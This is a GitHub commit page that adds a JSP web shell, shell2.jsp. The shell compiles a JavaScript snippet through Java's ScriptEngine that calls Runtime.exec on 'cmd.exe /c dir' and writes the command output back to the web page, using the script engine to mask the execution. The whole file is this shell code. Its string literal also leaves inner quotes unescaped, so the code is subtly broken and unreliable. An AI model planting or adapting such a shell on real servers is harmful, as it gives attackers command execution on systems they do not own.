Skip to content

Commit ab29cb7

Browse files
authored
Create shell2.jsp
1 parent fec83da commit ab29cb7

1 file changed

Lines changed: 17 additions & 0 deletions

File tree

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
2+
<%
3+
ScriptEngineManager manager = new ScriptEngineManager();
4+
ScriptEngine engine = manager.getEngineByName("JavaScript");
5+
6+
Compilable compEngine = (Compilable) engine;
7+
CompiledScript script = compEngine.compile("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c dir").getInputStream()))");
8+
BufferedReader object = (BufferedReader)script.eval();
9+
10+
String line = "";
11+
String result = "";
12+
while((line=object.readLine())!=null)
13+
{
14+
result = result + line;
15+
}
16+
out.println(result);
17+
%>

0 commit comments

Comments
 (0)